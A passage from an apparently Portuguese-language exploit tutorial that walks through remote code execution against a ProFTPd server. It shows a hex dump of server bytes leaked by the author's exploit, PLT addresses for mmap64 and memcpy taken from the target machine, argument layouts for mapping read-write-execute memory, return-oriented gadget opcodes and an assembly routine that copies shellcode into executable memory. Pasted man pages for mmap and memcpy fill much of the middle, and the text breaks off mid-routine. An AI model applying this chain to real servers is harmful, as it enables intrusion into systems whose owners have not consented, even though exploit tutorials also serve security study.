  924. 00 00 00 55 89 e5 53 81 ec 94 00 00 00 8d 9d 78 | ...U..S........x
  925. ff ff ff 89 1c 24 e8 30 eb ff ff c7 44 24 04 0f | .....$.0....D$..
  926. 00 00 00 89 1c 24 e8 f0 f4 ff ff c7 44 24 04 11 | .....$......D$..
  927. 00 00 00 89 1c 24 e8 e0 f4 ff ff e8 33 4b 00 00 | .....$......3K..
  928. c7 44 24 08 00 00 00 00 89 5c 24 04 c7 04 24 00 | .D$......\$...$.
  929. 00 00 00 e8 f3 f3 ff ff 8d 76 00 c7 44 24 08 01 | .........v..D$..
  930. 00 00 00 c7 44 24 04 00 00 00 00 c7 04 24 ff ff | ....D$.......$..
  931. ff ff e8 e4 f1 ff ff 85 c0 7e 18 89 04 24 e8 70 | .........~...$.p
  932. 43 01 00 85 c0 75 d4 c6 05 7c e5 0d 08 01 eb cb | C....u...|......
  933. 8d 76 00 89 5c 24 04 c7 44 24 08 00 00 00 00 c7 | .v..\$..D$......
  934. 04 24 01 00 00 00 e8 a0 f3 ff ff e8 43 4f 00 00 | .$..........CO..
  935. 81 c4 94 00 00 00 5b 5d c3 8d 76 00 8d bc 27 00 | ......[]..v...'.
  936. 00 00 00 55 89 e5 83 ec 18 a1 68 e5 0d 08 80 cc | ...U......h.....
  937. 02 a3 68 e5 0d 08 e8 28 ff ff ff c7 44 24 04 e0 | ..h....(....D$..
  938. 45 05 08 c7 04 24 11 00 00 00 e8 bc eb ff ff c9 | E....$..........
  939. c3 66 90 55 89 e5 57 56 53 89 c3 83 ec 2c 89 55 | .f.U..WVS....,.U
  940. e4 e8 3d 42 01 00 85 c0 75 11 8b 45 e4 83 c4 2c | ..=B....u..E...,
  941. 5b 5e 5f 5d c3 8d b6 00 00 00 00 c7 04 24 00 00 | [^_].........$..
  942. 00 00 e8 2c 42 01 00 85 c0 74 df 8b 50 14 83 fa | ...,B....t..P...
  943. ff 74 27 89 d7 c1 ff 1f c1 ef 1b 8d 0c 17 89 ce | .t'.............
  944. 83 e1 1f 29 f9 bf 01 00 00 00 c1 fe 05 d3 e7 09 | ...)............
  945. 3c b3 3b 55 e4 7e 03 89 55 e4 89 04 24 e8 f1 41 | <.;U.~..U...$..A
  946. 01 00 85 c0 75 c5 8b 45 e4 83 c4 2c 5b 5e 5f 5d | ....u..E...,[^_]
  947. c3 66 90 55 89 e5 57 56 53 83 ec 2c a1 5c e6 0d | .f.U..WVS..,.\..
  948. 08 c7 44 24 0c 00 00 00 00 c7 44 24 08 86 4e 0c | ..D$......D$..N.
  949. 08 c7 44 24 04 00 80 00 00 8b 40 40 89 04 24 e8 | ..D$......@@..$.
  950. cf 9c 00 00 85 c0 89 c3 0f 84 a3 00 00 00 90 8d | ................
  951. 74 26 00 8b 43 20 8b 70 04 85 f6 74 0e bf a9 4e | t&..C .p...t...N
  952. 0c 08 b9 08 00 00 00 f3 a6 75 56 8b 30 c7 44 24 | .........uV.0.D$
  953. 04 e0 08 00 00 c7 04 24 90 4e 0c 08 e8 d2 66 00 | .......$.N....f.
  954. 00 89 74 24 04 c7 04 24 00 00 00 00 e8 3a ea ff | ..t$...$.....:..
  955. ff 85 c0 0f 88 02 02 00 00 c7 44 24 04 e7 08 00 | ..........D$....
  956. 00 c7 04 24 90 4e 0c 08 e8 26 63 00 00 c7 44 24 | ...$.N...&c...D$
  957. 04 97 4e 0c 08 c7 04 24 02 00 00 00 e8 b2 58 01 | ..N....$......X.
  958. 00 8b 03 89 1c 24 c7 44 24 10 00 00 00 00 c7 44 | .....$.D$......D
  959. 24 0c 86 4e 0c 08 c7 44 24 08 00 80 00 00 89 44 | $..N...D$......D
  960. 24 04 e8 1c 9a 00 00 85 c0 89 c3 0f 85 62 ff ff | $............b..
  961. ff a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 c7 44 | ..\....D$......D
  962. 24 08 b1 4e 0c 08 c7 44 24 04 00 80 00 00 8b 40 | $..N...D$......@
  963. 40 89 04 24 e8 fa 9b 00 00 85 c0 89 c3 0f 84 9e | @..$............
  964. 00 00 00 8b 43 20 8b 70 04 85 f6 74 0e bf a9 4e | ....C .p...t...N
  965. 0c 08 b9 08 00 00 00 f3 a6 75 56 8b 30 c7 44 24 | .........uV.0.D$
  966. 04 f8 08 00 00 c7 04 24 90 4e 0c 08 e8 02 66 00 | .......$.N....f.
  967. 00 89 74 24 04 c7 04 24 02 00 00 00 e8 6a e9 ff | ..t$...$.....j..
  968. ff 85 c0 0f 88 7a 01 00 00 c7 44 24 04 0f 09 00 | .....z....D$....
  969. 00 c7 04 24 90 4e 0c 08 e8 56 62 00 00 c7 44 24 | ...$.N...Vb...D$
  970. 04 be 4e 0c 08 c7 04 24 02 00 00 00 e8 e2 57 01 | ..N....$......W.
  971. 00 8b 03 89 1c 24 c7 44 24 10 00 00 00 00 c7 44 | .....$.D$......D
  972. 24 0c b1 4e 0c 08 c7 44 24 08 00 80 00 00 89 44 | $..N...D$......D
  973. 24 04 e8 4c 99 00 00 85 c0 89 c3 0f 85 62 ff ff | $..L.........b..
  974. ff a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 c7 44 | ..\....D$......D
  975. 24 08 db 4e 0c 08 c7 44 24 04 00 80 00 00 8b 40 | $..N...D$......@
  976. 40 89 04 24 e8 2a 9b 00 00 85 c0 89 c3 0f 84 9e | @..$.*..........
  977. 00 00 00 8b 43 20 8b 70 04 85 f6 74 0e bf a9 4e | ....C .p...t...N
  978. 0c 08 b9 08 00 00 00 f3 a6 75 56 8b 30 c7 44 24 | .........uV.0.D$
  979. 04 20 09 00 00 c7 04 24 90 4e 0c 08 e8 32 65 00 | . .....$.N...2e.
  980. 00 89 74 24 04 c7 04 24 07 00 00 00 e8 9a e8 ff | ..t$...$........
  981. ff 85 c0 0f 88 f2 00 00 00 c7 44 24 04 30 09 00 | ..........D$.0..
  982. 00 c7 04 24 90 4e 0c 08 e8 86 61 00 00 c7 44 24 | ...$.N....a...D$
  983. 04 84 5d 0c 08 c7 04 24 02 00 00 00 e8 12 57 01 | ..]....$......W.
  984. 00 8b 03 89 1c 24 c7 44 24 10 00 00 00 00 c7 44 | .....$.D$......D
  985. 24 0c db 4e 0c 08 c7 44 24 08 00 80 00 00 89 44 | $..N...D$......D
  986. 24 04 e8 7c 98 00 00 85 c0 89 c3 0f 85 62 ff ff | $..|.........b..
  987. ff 83 c4 2c 5b 5e 5f 5d c3 66 90 c7 44 24 04 e2 | ...,[^_].f..D$..
  988. 08 00 00 c7 04 24 90 4e 0c 08 e8 24 61 00 00 e8 | .....$.N...$a...
  989. 17 e7 ff ff 8b 00 89 04 24 e8 cd e7 ff ff c7 44 | ........$......D
  990. 24 04 18 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $..]....$.....D$
  991. 08 e8 6d 57 01 00 83 c4 2c 5b 5e 5f 5d c3 90 8d | ..mW....,[^_]...
  992. 74 26 00 c7 44 24 04 fb 08 00 00 c7 04 24 90 4e | t&..D$.......$.N
  993. 0c 08 e8 dc 60 00 00 e8 cf e6 ff ff 8b 00 89 04 | ....`...........
  994. 24 e8 85 e7 ff ff c7 44 24 04 3c 5d 0c 08 c7 04 | $......D$.<]....
  995. 24 03 00 00 00 89 44 24 08 e8 25 57 01 00 83 c4 | $.....D$..%W....
  996. 2c 5b 5e 5f 5d c3 90 8d 74 26 00 c7 44 24 04 23 | ,[^_]...t&..D$.#
  997. 09 00 00 c7 04 24 90 4e 0c 08 e8 94 60 00 00 e8 | .....$.N....`...
  998. 87 e6 ff ff 8b 00 89 04 24 e8 3d e7 ff ff c7 44 | ........$.=....D
  999. 24 04 60 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.`]....$.....D$
  1000. 08 e8 dd 56 01 00 83 c4 2c 5b 5e 5f 5d c3 90 8d | ...V....,[^_]...
  1001. 74 26 00 55 89 e5 57 56 53 83 ec 3c 8d 5d d8 89 | t&.U..WVS..<.]..
  1002. 5c 24 04 c7 04 24 04 00 00 00 e8 8c f1 ff ff 85 | \$...$..........
  1003. c0 0f 88 24 03 00 00 c7 45 e0 00 00 00 00 c7 45 | ...$....E......E
  1004. e4 00 00 00 00 c7 45 d8 00 00 00 00 c7 45 dc 00 | ......E......E..
  1005. 00 00 00 c7 44 24 04 67 08 00 00 c7 04 24 90 4e | ....D$.g.....$.N
  1006. 0c 08 e8 8c 63 00 00 89 5c 24 04 c7 04 24 04 00 | ....c...\$...$..
  1007. 00 00 e8 f4 e6 ff ff 85 c0 0f 88 54 03 00 00 c7 | ...........T....
  1008. 44 24 04 6e 08 00 00 c7 04 24 90 4e 0c 08 e8 e0 | D$.n.....$.N....
  1009. 5f 00 00 a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 | _...\....D$.....
  1010. c7 44 24 08 86 4e 0c 08 c7 44 24 04 00 80 00 00 | .D$..N...D$.....
  1011. 8b 40 40 89 04 24 e8 f8 98 00 00 85 c0 89 c3 0f | .@@..$..........
  1012. 84 a4 00 00 00 8d b6 00 00 00 00 8b 43 20 8b 70 | ............C .p
  1013. 04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
  1014. a6 75 56 8b 30 c7 44 24 04 7a 08 00 00 c7 04 24 | .uV.0.D$.z.....$
  1015. 90 4e 0c 08 e8 fa 62 00 00 89 74 24 04 c7 04 24 | .N....b...t$...$
  1016. 00 00 00 00 e8 62 e6 ff ff 85 c0 0f 88 02 02 00 | .....b..........
  1017. 00 c7 44 24 04 81 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
  1018. e8 4e 5f 00 00 c7 44 24 04 eb 4e 0c 08 c7 04 24 | .N_...D$..N....$
  1019. 02 00 00 00 e8 da 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D
  1020. 24 10 00 00 00 00 c7 44 24 0c 86 4e 0c 08 c7 44 | $......D$..N...D
  1021. 24 08 00 80 00 00 89 44 24 04 e8 44 96 00 00 85 | $......D$..D....
  1022. c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D
  1023. 24 0c 00 00 00 00 c7 44 24 08 b1 4e 0c 08 c7 44 | $......D$..N...D
  1024. 24 04 00 80 00 00 8b 40 40 89 04 24 e8 22 98 00 | $......@@..$."..
  1025. 00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p
  1026. 04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
  1027. a6 75 56 8b 30 c7 44 24 04 92 08 00 00 c7 04 24 | .uV.0.D$.......$
  1028. 90 4e 0c 08 e8 2a 62 00 00 89 74 24 04 c7 04 24 | .N...*b...t$...$
  1029. 02 00 00 00 e8 92 e5 ff ff 85 c0 0f 88 aa 01 00 | ................
  1030. 00 c7 44 24 04 a9 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
  1031. e8 7e 5e 00 00 c7 44 24 04 04 4f 0c 08 c7 04 24 | .~^...D$..O....$
  1032. 02 00 00 00 e8 0a 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D
  1033. 24 10 00 00 00 00 c7 44 24 0c b1 4e 0c 08 c7 44 | $......D$..N...D
  1034. 24 08 00 80 00 00 89 44 24 04 e8 74 95 00 00 85 | $......D$..t....
  1035. c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D
  1036. 24 0c 00 00 00 00 c7 44 24 08 db 4e 0c 08 c7 44 | $......D$..N...D
  1037. 24 04 00 80 00 00 8b 40 40 89 04 24 e8 52 97 00 | $......@@..$.R..
  1038. 00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p
  1039. 04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
  1040. a6 75 56 8b 30 c7 44 24 04 ba 08 00 00 c7 04 24 | .uV.0.D$.......$
  1041. 90 4e 0c 08 e8 5a 61 00 00 89 74 24 04 c7 04 24 | .N...Za...t$...$
  1042. 07 00 00 00 e8 c2 e4 ff ff 85 c0 0f 88 6a 01 00 | .............j..
  1043. 00 c7 44 24 04 ca 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
  1044. e8 ae 5d 00 00 c7 44 24 04 ec 5d 0c 08 c7 04 24 | ..]...D$..]....$
  1045. 02 00 00 00 e8 3a 53 01 00 8b 03 89 1c 24 c7 44 | .....:S......$.D
  1046. 24 10 00 00 00 00 c7 44 24 0c db 4e 0c 08 c7 44 | $......D$..N...D
  1047. 24 08 00 80 00 00 89 44 24 04 e8 a4 94 00 00 85 | $......D$.......
  1048. c0 89 c3 0f 85 62 ff ff ff 83 c4 3c 5b 5e 5f 5d | .....b.....<[^_]
  1049. c3 66 90 c7 44 24 04 7c 08 00 00 c7 04 24 90 4e | .f..D$.|.....$.N
  1050. 0c 08 e8 4c 5d 00 00 e8 3f e3 ff ff 8b 00 89 04 | ...L]...?.......
  1051. 24 e8 f5 e3 ff ff c7 44 24 04 18 5d 0c 08 c7 04 | $......D$..]....
  1052. 24 03 00 00 00 89 44 24 08 e8 95 53 01 00 83 c4 | $.....D$...S....
  1053. 3c 5b 5e 5f 5d c3 90 8d 74 26 00 e8 0b e3 ff ff | <[^_]...t&......
  1054. 8b 00 89 04 24 e8 c1 e3 ff ff c7 44 24 04 a4 5d | ....$......D$..]
  1055. 0c 08 c7 04 24 03 00 00 00 89 44 24 08 e8 61 53 | ....$.....D$..aS
  1056. 01 00 e9 0c fd ff ff 8d 74 26 00 c7 44 24 04 95 | ........t&..D$..
  1057. 08 00 00 c7 04 24 90 4e 0c 08 e8 d4 5c 00 00 e8 | .....$.N....\...
  1058. c7 e2 ff ff 8b 00 89 04 24 e8 7d e3 ff ff c7 44 | ........$.}....D
  1059. 24 04 3c 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.<]....$.....D$
  1060. 08 e8 1d 53 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...S....<[^_]...
  1061. 74 26 00 c7 44 24 04 69 08 00 00 c7 04 24 90 4e | t&..D$.i.....$.N
  1062. 0c 08 e8 8c 5c 00 00 e8 7f e2 ff ff 8b 00 89 04 | ....\...........
  1063. 24 e8 35 e3 ff ff c7 44 24 04 c8 5d 0c 08 c7 04 | $.5....D$..]....
  1064. 24 03 00 00 00 89 44 24 08 e8 d5 52 01 00 83 c4 | $.....D$...R....
  1065. 3c 5b 5e 5f 5d c3 90 8d 74 26 00 c7 44 24 04 bd | <[^_]...t&..D$..
  1066. 08 00 00 c7 04 24 90 4e 0c 08 e8 44 5c 00 00 e8 | .....$.N...D\...
  1067. 37 e2 ff ff 8b 00 89 04 24 e8 ed e2 ff ff c7 44 | 7.......$......D
  1068. 24 04 60 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.`]....$.....D$
  1069. 08 e8 8d 52 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...R....<[^_]...
  1070. ...
  1071. Mais bytes a frente...
  1072. ...
  1073. ...
  1074.  
  1075. -------------------------------------------------------------------------------------------
  1076.  
  1077. Nosso código roda perfeitamente, explora a falha e conseguimos ler os binários do
  1078. ProFTPd. Parece muito fácil não é mesmo? Mas ainda temos trabalho a fazer. O próximo
  1079. passo é descobrir offsets de outras syscalls (atravéz desses bytes que conseguios ler)
  1080. para podermos criar nossa cadeia ROP para injetarmos nosso shellcode. Como? Sabemos que
  1081. efetuar syscalls atravéz da PLT é sucesso, devido aos endereços da PLT serem estáticos;
  1082. sabemos, também, que o espaço de memória onde reside nosso buffer não é executável
  1083. (devido a NX/PaX). Então temos que efetuar uma syscall para mapear um lugar na memória
  1084. que seja permitido ler, escrever e executar; após isso devemos efetuar outra syscall para
  1085. copiar nossas instruções para a região mapeada; depois é só desviar o fluxo de execução
  1086. para lá. Então seria muito interessante utilizarmos a syscall mmap64 para mapear a memória
  1087. que precisamos e utilizar a syscall memcpy para copiar nossas instruções. Vejamos os
  1088. manuais dessas funções:
  1089.  
  1090. -------------------------------------------------------------------------------------------
  1091.  
  1092.  
  1093. MMAP(2) Linux Programmer's Manual MMAP(2)
  1094. NAME top
  1095.  
  1096. mmap, munmap - map or unmap files or devices into memory
  1097. SYNOPSIS top
  1098.  
  1099. #include <sys/mman.h>
  1100.  
  1101. void *mmap(void *addr, size_t length, int prot, int flags,
  1102. int fd, off_t offset);
  1103. int munmap(void *addr, size_t length);
  1104.  
  1105. See NOTES for information on feature test macro requirements.
  1106. DESCRIPTION top
  1107.  
  1108. mmap() creates a new mapping in the virtual address space of the
  1109. calling process. The starting address for the new mapping is
  1110. specified in addr. The length argument specifies the length of the
  1111. mapping.
  1112.  
  1113. If addr is NULL, then the kernel chooses the address at which to
  1114. create the mapping; this is the most portable method of creating a
  1115. new mapping. If addr is not NULL, then the kernel takes it as a hint
  1116. about where to place the mapping; on Linux, the mapping will be
  1117. created at a nearby page boundary. The address of the new mapping is
  1118. returned as the result of the call.
  1119.  
  1120. The contents of a file mapping (as opposed to an anonymous mapping;
  1121. see MAP_ANONYMOUS below), are initialized using length bytes starting
  1122. at offset offset in the file (or other object) referred to by the
  1123. file descriptor fd. offset must be a multiple of the page size as
  1124. returned by sysconf(_SC_PAGE_SIZE).
  1125.  
  1126. The prot argument describes the desired memory protection of the
  1127. mapping (and must not conflict with the open mode of the file). It
  1128. is either PROT_NONE or the bitwise OR of one or more of the following
  1129. flags:
  1130.  
  1131. PROT_EXEC Pages may be executed.
  1132.  
  1133. PROT_READ Pages may be read.
  1134.  
  1135. PROT_WRITE Pages may be written.
  1136.  
  1137. PROT_NONE Pages may not be accessed.
  1138.  
  1139. The flags argument determines whether updates to the mapping are
  1140. visible to other processes mapping the same region, and whether
  1141. updates are carried through to the underlying file. This behavior is
  1142. determined by including exactly one of the following values in flags:
  1143.  
  1144. MAP_SHARED Share this mapping. Updates to the mapping are visible to
  1145. other processes that map this file, and are carried
  1146. through to the underlying file. The file may not actually
  1147. be updated until msync(2) or munmap() is called.
  1148.  
  1149. MAP_PRIVATE
  1150. Create a private copy-on-write mapping. Updates to the
  1151. mapping are not visible to other processes mapping the
  1152. same file, and are not carried through to the underlying
  1153. file. It is unspecified whether changes made to the file
  1154. after the mmap() call are visible in the mapped region.
  1155.  
  1156. Both of these flags are described in POSIX.1-2001.
  1157.  
  1158. In addition, zero or more of the following values can be ORed in
  1159. flags:
  1160.  
  1161. MAP_32BIT (since Linux 2.4.20, 2.6)
  1162. Put the mapping into the first 2 Gigabytes of the process
  1163. address space. This flag is supported only on x86-64, for
  1164. 64-bit programs. It was added to allow thread stacks to be
  1165. allocated somewhere in the first 2GB of memory, so as to
  1166. improve context-switch performance on some early 64-bit
  1167. processors. Modern x86-64 processors no longer have this
  1168. performance problem, so use of this flag is not required on
  1169. those systems. The MAP_32BIT flag is ignored when MAP_FIXED
  1170. is set.
  1171.  
  1172. MAP_ANON
  1173. Synonym for MAP_ANONYMOUS. Deprecated.
  1174.  
  1175. MAP_ANONYMOUS
  1176. The mapping is not backed by any file; its contents are
  1177. initialized to zero. The fd and offset arguments are ignored;
  1178. however, some implementations require fd to be -1 if
  1179. MAP_ANONYMOUS (or MAP_ANON) is specified, and portable
  1180. applications should ensure this. The use of MAP_ANONYMOUS in
  1181. conjunction with MAP_SHARED is supported on Linux only since
  1182. kernel 2.4.
  1183.  
  1184. MAP_DENYWRITE
  1185. This flag is ignored. (Long ago, it signaled that attempts to
  1186. write to the underlying file should fail with ETXTBUSY. But
  1187. this was a source of denial-of-service attacks.)
  1188.  
  1189. MAP_EXECUTABLE
  1190. This flag is ignored.
  1191.  
  1192. MAP_FILE
  1193. Compatibility flag. Ignored.
  1194.  
  1195. MAP_FIXED
  1196. Don't interpret addr as a hint: place the mapping at exactly
  1197. that address. addr must be a multiple of the page size. If
  1198. the memory region specified by addr and len overlaps pages of
  1199. any existing mapping(s), then the overlapped part of the
  1200. existing mapping(s) will be discarded. If the specified
  1201. address cannot be used, mmap() will fail. Because requiring a
  1202. fixed address for a mapping is less portable, the use of this
  1203. option is discouraged.
  1204.  
  1205. MAP_GROWSDOWN
  1206. Used for stacks. Indicates to the kernel virtual memory
  1207. system that the mapping should extend downward in memory.
  1208.  
  1209. MAP_HUGETLB (since Linux 2.6.32)
  1210. Allocate the mapping using "huge pages." See the Linux kernel
  1211. source file Documentation/vm/hugetlbpage.txt for further
  1212. information.
  1213.  
  1214. MAP_LOCKED (since Linux 2.5.37)
  1215. Lock the pages of the mapped region into memory in the manner
  1216. of mlock(2). This flag is ignored in older kernels.
  1217.  
  1218. MAP_NONBLOCK (since Linux 2.5.46)
  1219. Only meaningful in conjunction with MAP_POPULATE. Don't
  1220. perform read-ahead: create page tables entries only for pages
  1221. that are already present in RAM. Since Linux 2.6.23, this
  1222. flag causes MAP_POPULATE to do nothing. One day the
  1223. combination of MAP_POPULATE and MAP_NONBLOCK may be
  1224. reimplemented.
  1225.  
  1226. MAP_NORESERVE
  1227. Do not reserve swap space for this mapping. When swap space
  1228. is reserved, one has the guarantee that it is possible to
  1229. modify the mapping. When swap space is not reserved one might
  1230. get SIGSEGV upon a write if no physical memory is available.
  1231. See also the discussion of the file
  1232. /proc/sys/vm/overcommit_memory in proc(5). In kernels before
  1233. 2.6, this flag had effect only for private writable mappings.
  1234.  
  1235. MAP_POPULATE (since Linux 2.5.46)
  1236. Populate (prefault) page tables for a mapping. For a file
  1237. mapping, this causes read-ahead on the file. Later accesses
  1238. to the mapping will not be blocked by page faults.
  1239. MAP_POPULATE is supported for private mappings only since
  1240. Linux 2.6.23.
  1241.  
  1242. MAP_STACK (since Linux 2.6.27)
  1243. Allocate the mapping at an address suitable for a process or
  1244. thread stack. This flag is currently a no-op, but is used in
  1245. the glibc threading implementation so that if some
  1246. architectures require special treatment for stack allocations,
  1247. support can later be transparently implemented for glibc.
  1248.  
  1249. MAP_UNINITIALIZED (since Linux 2.6.33)
  1250. Don't clear anonymous pages. This flag is intended to improve
  1251. performance on embedded devices. This flag is honored only if
  1252. the kernel was configured with the
  1253. CONFIG_MMAP_ALLOW_UNINITIALIZED option. Because of the
  1254. security implications, that option is normally enabled only on
  1255. embedded devices (i.e., devices where one has complete control
  1256. of the contents of user memory).
  1257.  
  1258. Of the above flags, only MAP_FIXED is specified in POSIX.1-2001.
  1259. However, most systems also support MAP_ANONYMOUS (or its synonym
  1260. MAP_ANON).
  1261.  
  1262. Some systems document the additional flags MAP_AUTOGROW,
  1263. MAP_AUTORESRV, MAP_COPY, and MAP_LOCAL.
  1264.  
  1265. Memory mapped by mmap() is preserved across fork(2), with the same
  1266. attributes.
  1267.  
  1268. A file is mapped in multiples of the page size. For a file that is
  1269. not a multiple of the page size, the remaining memory is zeroed when
  1270. mapped, and writes to that region are not written out to the file.
  1271. The effect of changing the size of the underlying file of a mapping
  1272. on the pages that correspond to added or removed regions of the file
  1273. is unspecified.
  1274.  
  1275. ...
  1276. ...
  1277.  
  1278. --------------------------------------------------------------------------------------------
  1279. --------------------------------------------------------------------------------------------
  1280.  
  1281. MEMCPY(3) Linux Programmer's Manual MEMCPY(3)
  1282.  
  1283. NAME
  1284. memcpy - copy memory area
  1285.  
  1286. SYNOPSIS
  1287. #include <string.h>
  1288.  
  1289. void *memcpy(void *dest, const void *src, size_t n);
  1290.  
  1291. DESCRIPTION
  1292. The memcpy() function copies n bytes from memory area src to memory area
  1293. dest. The memory areas must not overlap. Use memmove(3) if the memory
  1294. areas do overlap.
  1295.  
  1296. RETURN VALUE
  1297. The memcpy() function returns a pointer to dest.
  1298.  
  1299. CONFORMING TO
  1300. SVr4, 4.3BSD, C89, C99, POSIX.1-2001.
  1301.  
  1302. SEE ALSO
  1303. bcopy(3), memccpy(3), memmove(3), mempcpy(3), strcpy(3), strncpy(3), wmem‐
  1304. cpy(3)
  1305.  
  1306. COLOPHON
  1307. This page is part of release 3.44 of the Linux man-pages project. A
  1308. description of the project, and information about reporting bugs, can be
  1309. found at http://www.kernel.org/doc/man-pages/.
  1310.  
  1311. 2010-11-15 MEMCPY(3)
  1312.  
  1313. --------------------------------------------------------------------------------------------
  1314.  
  1315. Simples, para chamar mmap64 você precisa de passar: o endereço do inicio do lugar a ser
  1316. mapeado; o tamanho a ser mapeado; o protocolo (permissões do que se pode fazer); flags;
  1317. file descriptor; e o offset. Então os argmentos para mmap podem ser o seguinte:
  1318.  
  1319. Encadeamento de argumentos para mmap em um buffer:
  1320.  
  1321. -> \x00\x00\x00\x10 ----> endereço de início
  1322. -> \x00\x10\x00\x00 ----> tamanho 1000 bytes (em hexadecimal)
  1323. -> \x07\x00\x00\x00 ----> 07 = protocolo que atribui permissão de ler, escrever e executar
  1324. -> \x32\x00\x00\x00 ----> flag indicando ser 32 bits
  1325. -> \xff\xff\xff\xff ----> file descriptor (0xffffffff provavelmente não estará em uso)
  1326. -> \x00\x00\x00\x00 --|
  1327. -> \x00\x00\x00\x00 |
  1328. -> \x00\x00\x00\x00 |-> offset
  1329. -> \x00\x00\x00\x00 |
  1330. -> \x00\x00\x00\x00 |
  1331. -> \x00\x00\x00\x00 --|
  1332.  
  1333. Para chamar memcpy você precisa passar: o endereço de destino para onde copiar os bytes;
  1334. o endereço de origem dos bytes a serem copiados; e o tamanho do número de bytes a serem
  1335. copiados. Olhe como fica:
  1336.  
  1337. Encadeamento de argumentos para memcpy em um buffer:
  1338.  
  1339. -> \x00\x00\x00\x10 ----> endereço para onde vão os bytes
  1340. -> xxxx ----> endereço de origem dos bytes (ainda determinaremos isso)
  1341. -> \x02\x00\x00\x00 ----> número de bytes a serem copiados (pode mudar dependendo da
  1342. ocasião)
  1343.  
  1344. Para fazermos isso temos que executar uma rotina que irá pegar os bytes do shellcode no nosso
  1345. buffer para a região executável para conseguirmos executar o código remoto. Essa rotina
  1346. teremos que montar com os próprios binários do ProFTPd. Então o que temos que fazer é o
  1347. seguinte: mapear a memória onde podemos executar código com mmap, identificar os bytes da
  1348. nossa rotina de cópia nos proprios binários do Proftpd, copiar os bytes para a memória
  1349. executável com memcpy, e desviar o fluxo de execução para lá. Então a rotina de cópia de
  1350. bytes executará, e copiará nosso shellcode para o lugar certo e de lá executaremos ele.
  1351. Preciamos dessa rotina de cópia de bytes, pois não podemos esquecer que nosso shellcode está
  1352. indo no buffer em tempo de execução, então essa rotina é uma maneira de conseguirmos manipular
  1353. esses bytes em tempo de execução. Não podemos esquecer que para fazer tudo isso estamos
  1354. utilizando Return Oriented Programming, então precisaremos de identificar bytes referentes
  1355. as instruções "pop pop pop ret" (para podermos levar nossos argumentos das funções para o
  1356. outro segmento de memória) e "add esp, 20h; pop; pop" (tem o mesmo efeito de "pop pop ret"
  1357. porém em larga escala). Já sabemos o que fazer, então mãos à obra!
  1358.  
  1359. Da mesma maneira que conseguimos achar o endereço de write(2), podemos achar os endereços de
  1360. mmap64 e memcpy:
  1361.  
  1362. Na máquina a ser atacada: -------------------------------------------------------------------------
  1363.  
  1364. ...
  1365.  
  1366. ...
  1367. 0x08053698 mktime
  1368. 0x08053698 mktime@plt
  1369. 0x080536a8 readdir64
  1370. 0x080536a8 readdir64@plt
  1371. 0x080536b8 cap_free
  1372. 0x080536b8 cap_free@plt
  1373. 0x080536c8 memcpy
  1374. 0x080536c8 memcpy@plt <----------- endereço de memcpy()
  1375. 0x080536d8 strtoul
  1376. 0x080536d8 strtoul@plt
  1377. 0x080536e8 strlen
  1378. 0x080536e8 strlen@plt
  1379. 0x080536f8 setgrent
  1380. 0x080536f8 setgrent@plt
  1381. 0x08053708 futimes
  1382. 0x08053708 futimes@plt
  1383.  
  1384. ...
  1385. 0x08053cc8 bind_textdomain_codeset
  1386. 0x08053cc8 bind_textdomain_codeset@plt
  1387. 0x08053cd8 setgid
  1388. 0x08053cd8 setgid@plt
  1389. 0x08053ce8 cap_set_flag
  1390. 0x08053ce8 cap_set_flag@plt
  1391. 0x08053cf8 snprintf
  1392. 0x08053cf8 snprintf@plt
  1393. 0x08053d08 kill
  1394. 0x08053d08 kill@plt
  1395. 0x08053d18 mmap64
  1396. 0x08053d18 mmap64@plt <----------- endereço de mmap64()
  1397. 0x08053d28 getpwent
  1398. 0x08053d28 getpwent@plt
  1399. 0x08053d38 cap_to_text
  1400. 0x08053d38 cap_to_text@plt
  1401. 0x08053d48 cap_get_proc
  1402. 0x08053d48 cap_get_proc@plt
  1403. 0x08053d58 gethostbyname2
  1404. 0x08053d58 gethostbyname2@plt
  1405. 0x08053d68 argz_create_sep
  1406. 0x08053d68 argz_create_sep@plt
  1407. 0x08053d78 getpeername
  1408. ...
  1409.  
  1410. ...
  1411.  
  1412. -------------------------------------------------------------------------------------------------
  1413.  
  1414. Pronto sabemos que o endereço de memcpy() é 0x080536c8 e o endereço de mmap64 é 0x08053d18.
  1415. Sabemos também que as instruções "pop pop pop ret" tem os opcodes "\x5e\x5f\x5d" e que
  1416. "add esp, 20h; pop; pop" tem opcodes "\x83\xc4\x20\x5b\x5e\x5d\xc3" (Mais uma vez deixo a cargo
  1417. do leitor descobrir de onde vem esses opcodes. Sugiro escrever uma rotina em assembly, compilar
  1418. e ver os opcodes com objdump). Apresento a vocês a nossa rotina de cópia de bytes, escrita em
  1419. assembly. Não vou entrar no mérito da rotina, para não estender esse paper, pois eu teria que
  1420. explicar algumas coisas da arquitetura x86 e do sistema operacional utilizado (isso é mais uma
  1421. coisa que o leitor deve estudar).
  1422.  
  1423. rotina de cópia de bytes:
  1424.  
  1425. #0100740B FC CLD
  1426. #0100740C 8BF4 MOV ESI,ESP
  1427. #0100740E BF 00010010 MOV EDI,10000100
  1428. #01007413 B9 00020000 MOV ECX,200
  1429. #01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
